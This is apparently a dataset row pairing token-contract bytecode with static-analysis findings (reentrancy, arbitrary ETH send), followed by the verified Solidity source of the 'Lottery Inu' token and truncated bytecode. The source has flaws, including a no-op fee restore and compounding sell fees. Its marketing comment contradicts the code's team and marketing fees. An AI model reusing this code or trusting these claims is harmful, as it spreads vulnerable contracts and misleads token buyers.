600160a01b03838116911614801561115757506019546001600160a01b03848116911614155b15611209576001600160a01b038216301480159061117e57506001600160a01b0383163014155b801561119857506017546001600160a01b03838116911614155b80156111b257506017546001600160a01b03848116911614155b1561120957601b548111156112095760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107b5565b601a546001600160a01b0383811691161480159061123557506017546001600160a01b03838116911614155b801561124a57506001600160a01b0382163014155b801561126157506001600160a01b03821661dead14155b1561134157601c54816112738461098f565b61127d9190611fbf565b106112d65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107b5565b601a54600160b81b900460ff161561134157600a546112f7906104b0611fbf565b421161134157601e548111156113415760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107b5565b600061134c3061098f565b601d54909150811180801561136b5750601a54600160a81b900460ff16155b80156113855750601a546001600160a01b03868116911614155b801561139a5750601a54600160b01b900460ff165b80156113bf57506001600160a01b03851660009081526006602052604090205460ff16155b80156113e457506001600160a01b03841660009081526006602052604090205460ff16155b15611444576013546000901561141f57611414606461140e6013548661188490919063ffffffff16565b90611903565b905061141f81611945565b61143161142c8285612018565b6116fb565b4780156114415761144147611639565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061148957506001600160a01b03831660009081526006602052604090205460ff165b806114bb5750601a546001600160a01b038581169116148015906114bb5750601a546001600160a01b03848116911614155b156114c8575060006115ed565b601a546001600160a01b0385811691161480156114f357506019546001600160a01b03848116911614155b1561154e576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561154e576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561157957506019546001600160a01b03858116911614155b156115ed576001600160a01b038416600090815260046020526040902054158015906115ca57506018546001600160a01b03851660009081526004602052604090205442916115c791611fbf565b10155b156115e057600b54601155600c546012556115ed565b600f546011556010546012555b6115f984848484611952565b50505050565b600081848411156116235760405162461bcd60e51b81526004016107b59190611e9d565b5060006116308486612018565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611673573d6000803e3d6000fd5b5050565b60006007548211156116de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b5565b60006116e8611986565b90506116f48382611903565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174357611743612045565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561179757600080fd5b505afa1580156117ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cf9190611d7d565b816001815181106117e2576117e2612045565b6001600160a01b0392831660209182029290920101526019546118089130911684610db4565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611841908590600090869030904290600401611f4e565b600060405180830381600087803b15801561185b57600080fd5b505af115801561186f573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826118935750600061071c565b600061189f8385611ff9565b9050826118ac8583611fd7565b146116f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107b5565b60006116f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119a9565b6108003061dead83610ed8565b8061195f5761195f6119d7565b61196a848484611a1c565b806115f9576115f9601454601155601554601255601654601355565b6000806000611993611b13565b90925090506119a28282611903565b9250505090565b600081836119ca5760405162461bcd60e51b81526004016107b59190611e9d565b5060006116308486611fd7565b6011541580156119e75750601254155b80156119f35750601354155b156119fa57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611a2e87611b55565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a609087611bb2565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a8f9086611bf4565b6001600160a01b038916600090815260026020526040902055611ab181611c53565b611abb8483611c9d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b0091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611b2f8282611903565b821015611b4c57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b728a601154601254611cc1565b9250925092506000611b82611986565b90506000806000611b958e878787611d10565b919e509c509a509598509396509194505050505091939550919395565b60006116f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ff565b600080611c018385611fbf565b9050838110156116f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107b5565b6000611c5d611986565b90506000611c6b8383611884565b30600090815260026020526040902054909150611c889082611bf4565b30600090815260026020526040902055505050565b600754611caa9083611bb2565b600755600854611cba9082611bf4565b6008555050565b6000808080611cd5606461140e8989611884565b90506000611ce8606461140e8a89611884565b90506000611d0082611cfa8b86611bb2565b90611bb2565b9992985090965090945050505050565b6000808080611d1f8886611884565b90506000611d2d8887611884565b90506000611d3b8888611884565b90506000611d4d82611cfa8686611bb2565b939b939a50919850919650505050505050565b600060208284031215611d7257600080fd5b81356116f48161205b565b600060208284031215611d8f57600080fd5b81516116f48161205b565b60008060408385031215611dad57600080fd5b8235611db88161205b565b91506020830135611dc88161205b565b809150509250929050565b600080600060608486031215611de857600080fd5b8335611df38161205b565b92506020840135611e038161205b565b929592945050506040919091013590565b60008060408385031215611e2757600080fd5b8235611e328161205b565b946020939093013593505050565b600060208284031215611e5257600080fd5b813580151581146116f457600080fd5b600060208284031215611e7457600080fd5b5035919050565b60008060408385031215611e8e57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611eca57858101830151858201604001528201611eae565b81811115611edc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f9e5784516001600160a01b031683529383019391830191600101611f79565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fd257611fd261202f565b500190565b600082611ff457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120135761201361202f565b500290565b60008282101561202a5761202a61202f565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461080057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046994cd70a0bd8b0673bf90be24d86385dfa5ef9f78b9d00bf2c26dc5c193a4464736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 305 |
0x2b7a961dAC1eE2db380d857d5019e4F2Cc187772 | /**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
/*
TG: https://t.me/lotteryinuofficial
Twitter: https://twitter.com/lotteryinu
Website: https://lotteryinu.one
1. ETH Rewards. 1% of LP ETH amount from marketing wallet to one of top 10 holders every 100 transactions.
2. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
3. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
4. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,5% transaction limit and 30 seconds cooldown on launch
6. Buy limit lifted 10 mins after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 1 hour period are allowed.
9. 2% redistribution to holders on all buys
10. 2% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-10% developer & marketing fee
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract LotteryInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lottery Inu";
string private constant _symbol = "LOTTERY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _launchTime;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 15;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
if (block.timestamp < _launchTime + 10 minutes) {
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 hours) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (5 minutes);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (10 minutes);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (25 minutes);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 hours);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(10).mul(6));
_marketingFunds.transfer(amount.div(10).mul(4));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
tradingOpen = true;
_maxTxAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c3c8cd8011610059578063c3c8cd8014610325578063c9567bf91461033c578063dd62ed3e14610353578063e8078d9414610390576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d35780635932ead1146101fe5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190613098565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612c6b565b6103e4565b604051610162919061307d565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d91906131fa565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612c1c565b610413565b6040516101ca919061307d565b60405180910390f35b3480156101df57600080fd5b506101e86104ec565b6040516101f5919061326f565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190612ca7565b6104f5565b005b34801561023357600080fd5b5061023c6105a7565b005b34801561024a57600080fd5b5061026560048036038101906102609190612b8e565b610619565b60405161027291906131fa565b60405180910390f35b34801561028757600080fd5b5061029061066a565b005b34801561029e57600080fd5b506102a76107bd565b6040516102b49190612faf565b60405180910390f35b3480156102c957600080fd5b506102d26107e6565b6040516102df9190613098565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612c6b565b610823565b60405161031c919061307d565b60405180910390f35b34801561033157600080fd5b5061033a610841565b005b34801561034857600080fd5b506103516108bb565b005b34801561035f57600080fd5b5061037a60048036038101906103759190612be0565b610986565b60405161038791906131fa565b60405180910390f35b34801561039c57600080fd5b506103a5610a0d565b005b60606040518060400160405280600b81526020017f4c6f747465727920496e75000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f3b565b8484610f43565b6001905092915050565b6000683635c9adc5dea00000905090565b600061042084848461110e565b6104e18461042c610f3b565b6104dc8560405180606001604052806028815260200161383060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610492610f3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ee49092919063ffffffff16565b610f43565b600190509392505050565b60006009905090565b6104fd610f3b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105819061315a565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e8610f3b565b73ffffffffffffffffffffffffffffffffffffffff161461060857600080fd5b600047905061061681611f48565b50565b6000610663600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612069565b9050919050565b610672610f3b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f69061315a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4c4f545445525900000000000000000000000000000000000000000000000000815250905090565b6000610837610830610f3b565b848461110e565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610882610f3b565b73ffffffffffffffffffffffffffffffffffffffff16146108a257600080fd5b60006108ad30610619565b90506108b8816120d7565b50565b6108c3610f3b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109479061315a565b60405180910390fd5b601260159054906101000a900460ff1661096957600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a15610f3b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a999061315a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b3230601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610f43565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb09190612bb7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1257600080fd5b505afa158015610c26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4a9190612bb7565b6040518363ffffffff1660e01b8152600401610c67929190612fca565b602060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb99190612bb7565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d4230610619565b600080610d4d6107bd565b426040518863ffffffff1660e01b8152600401610d6f9695949392919061301c565b6060604051808303818588803b158015610d8857600080fd5b505af1158015610d9c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc19190612cf9565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550674563918244f4000060138190555042601481905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ee5929190612ff3565b602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f379190612cd0565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faa906131ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a906130fa565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110191906131fa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111759061319a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e5906130ba565b60405180910390fd5b60008111611231576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112289061317a565b60405180910390fd5b6112396107bd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112a757506112776107bd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e2157601260189054906101000a900460ff16156114da573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561132957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113835750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113dd5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156114d957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611423610f3b565b73ffffffffffffffffffffffffffffffffffffffff1614806114995750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611481610f3b565b73ffffffffffffffffffffffffffffffffffffffff16145b6114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf906131da565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561157e5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61158757600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801